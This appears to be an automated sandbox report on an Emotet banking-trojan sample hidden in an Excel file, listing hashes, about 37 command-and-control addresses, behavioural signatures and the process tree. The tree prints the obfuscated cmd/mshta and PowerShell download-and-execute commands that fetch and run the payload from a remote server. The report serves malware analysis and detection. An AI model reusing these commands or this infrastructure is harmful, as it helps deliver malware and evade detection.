emotet | 6486f4730c2041aa4e8c96ecc214d10c1b014e958e85d01c2da7934b984fb42e

Analysis

max time kernel
154s
max time network
151s
platform
windows10_x64
resource
win10-en-20211208
submitted
22/01/2022, 18:05

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General

Target
payment_1.xls
Size 107KB
Sample220122-wn623acfcp
SHA256 6486f4730c2041aa4e8c96ecc214d10c1b014e958e85d01c2da7934b984fb42e
MD5 1687db9a923f48cab5a32cdfc450b66f
SHA1 bea928fd72be2c9846d95f0a5c183e0b4f8a22b6
SHA512 a84be27a6d2f0b44fefb36b0e06f1ad037bb6248a22f2c2a1ae6cc638e2bd3d9405ce8192b4e0be338d8082c1d748e14a02be60dba3e7a34e4f515f617b1f642
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://0xb907d607/fer/fe4.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fe4.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3244	2936	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
34	3212	mshta.exe
37	3280	powershell.exe
39	3280	powershell.exe
41	3280	powershell.exe
50	1892	rundll32.exe
51	1892	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1952	rundll32.exe
2144	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Ygpeokvzspgnyac\dacfmadaaljxhiz.uvd	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1400	3212	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2936	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3280	powershell.exe
3280	powershell.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
1400	WerFault.exe
3280	powershell.exe
1892	rundll32.exe
1892	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3280	powershell.exe
Token: SeDebugPrivilege	1400	WerFault.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2936	EXCEL.EXE
2936	EXCEL.EXE

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE
2936	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2936 wrote to memory of 3244	2936	EXCEL.EXE	72
PID 2936 wrote to memory of 3244	2936	EXCEL.EXE	72
PID 3244 wrote to memory of 3212	3244	cmd.exe	74
PID 3244 wrote to memory of 3212	3244	cmd.exe	74
PID 3212 wrote to memory of 3280	3212	mshta.exe	76
PID 3212 wrote to memory of 3280	3212	mshta.exe	76
PID 3280 wrote to memory of 1944	3280	powershell.exe	79
PID 3280 wrote to memory of 1944	3280	powershell.exe	79
PID 1944 wrote to memory of 1952	1944	cmd.exe	80
PID 1944 wrote to memory of 1952	1944	cmd.exe	80
PID 1944 wrote to memory of 1952	1944	cmd.exe	80
PID 1952 wrote to memory of 2144	1952	rundll32.exe	81
PID 1952 wrote to memory of 2144	1952	rundll32.exe	81
PID 1952 wrote to memory of 2144	1952	rundll32.exe	81
PID 2144 wrote to memory of 2260	2144	rundll32.exe	82
PID 2144 wrote to memory of 2260	2144	rundll32.exe	82
PID 2144 wrote to memory of 2260	2144	rundll32.exe	82
PID 2260 wrote to memory of 1892	2260	rundll32.exe	83
PID 2260 wrote to memory of 1892	2260	rundll32.exe	83
PID 2260 wrote to memory of 1892	2260	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\payment_1.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2936
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3244
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe4.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe4.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3280
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1944
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1952
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2144
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ygpeokvzspgnyac\dacfmadaaljxhiz.uvd",THzxEXrIJWEtj
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2260
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ygpeokvzspgnyac\dacfmadaaljxhiz.uvd",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1892
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3212 -s 1648
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1400

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1892-355-0x0000000004E20000-0x0000000004E46000-memory.dmp

Download

memory/1892-353-0x0000000004DA0000-0x0000000004DC6000-memory.dmp

Download

memory/1892-351-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

Download

memory/1892-349-0x0000000004AB0000-0x0000000004AD6000-memory.dmp

Download

memory/1892-343-0x0000000004700000-0x0000000004726000-memory.dmp

Download

memory/1952-320-0x00000000047E0000-0x0000000004806000-memory.dmp

Download

memory/2144-338-0x0000000005030000-0x0000000005056000-memory.dmp

Download

memory/2144-323-0x0000000004640000-0x0000000004666000-memory.dmp

Download

memory/2144-335-0x0000000004ED0000-0x0000000004EF6000-memory.dmp

Download

memory/2144-331-0x0000000004C70000-0x0000000004C96000-memory.dmp

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memory/2144-329-0x0000000004B50000-0x0000000004B76000-memory.dmp

Download

memory/2260-337-0x0000000003530000-0x0000000003556000-memory.dmp

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memory/2936-124-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2936-132-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

Download

memory/2936-118-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2936-131-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

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memory/2936-121-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2936-120-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2936-119-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/3280-294-0x0000021141EE0000-0x0000021141F1C000-memory.dmp

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memory/3280-305-0x00000211418F0000-0x00000211418F2000-memory.dmp

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memory/3280-313-0x00000211418F6000-0x00000211418F8000-memory.dmp

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memory/3280-307-0x0000021141FA0000-0x0000021142016000-memory.dmp

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memory/3280-306-0x00000211418F3000-0x00000211418F5000-memory.dmp

Download

memory/3280-275-0x0000021141A10000-0x0000021141A32000-memory.dmp

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